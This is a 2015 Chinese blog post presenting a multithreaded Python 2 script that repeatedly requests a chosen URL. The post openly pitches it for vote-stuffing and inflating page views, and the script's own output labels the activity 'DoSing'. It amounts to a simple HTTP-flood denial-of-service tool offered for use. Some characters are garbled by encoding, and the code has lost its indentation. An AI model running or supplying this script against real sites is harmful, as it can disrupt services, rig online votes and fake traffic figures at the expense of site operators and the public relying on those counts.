python使用多線程不斷刷新網(wǎng)頁的方法
更新時間:2015年03月31日 10:03:41 作者:songguo
這篇文章主要介紹了python使用多線程不斷刷新網(wǎng)頁的方法,涉及Python多線程thread及time模塊操作技巧,具有一定參考借鑒價值,需要的朋友可以參考下
本文實例講述了python使用多線程不斷刷新網(wǎng)頁的方法。分享給大家供大家參考。具體如下:
這段代碼可以開通過個線程不斷刷新指定的頁面,可用于刷票,增加網(wǎng)頁訪問量等等,不用再去按F5了
import thread
import urllib2
import sys
import time
def usage():
print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
sys.exit()
def reloader(numthread):
url = sys.argv[1]
numreloads = 0
while True:
try:
urllib2.urlopen(url)
numreloads = numreloads + 1
except KeyboardInterrupt:
sys.exit('\nProcess aborted.')
def splash():
print 'welcome to http://www.dhdzp.com/codes '
if len(sys.argv) < 3:
usage()
if __name__ == '__main__':
splash()
print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
for reloadspawn in range(0, int(sys.argv[2])):
thread.start_new_thread(reloader, (reloadspawn,))
sys.stdout.write('')
dosind = ['-', '\\', '|', '/']
dosstat = 0
while True:
try:
sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
sys.stdout.flush()
dosstat = dosstat + 1
time.sleep(0.25)
except KeyboardInterrupt:
sys.exit('\nProcess aborted.')
希望本文所述對大家的Python程序設(shè)計有所幫助。
相關(guān)文章
Python中zip()函數(shù)用法及應(yīng)用場景詳解
Python的zip()函數(shù)用于將多個可迭代對象的元素按位置組合成元組,支持不等長的可迭代對象和多個可迭代對象,這篇文章主要介紹了Python中zip()函數(shù)用法及應(yīng)用場景的相關(guān)資料,需要的朋友可以參考下2025-04-04

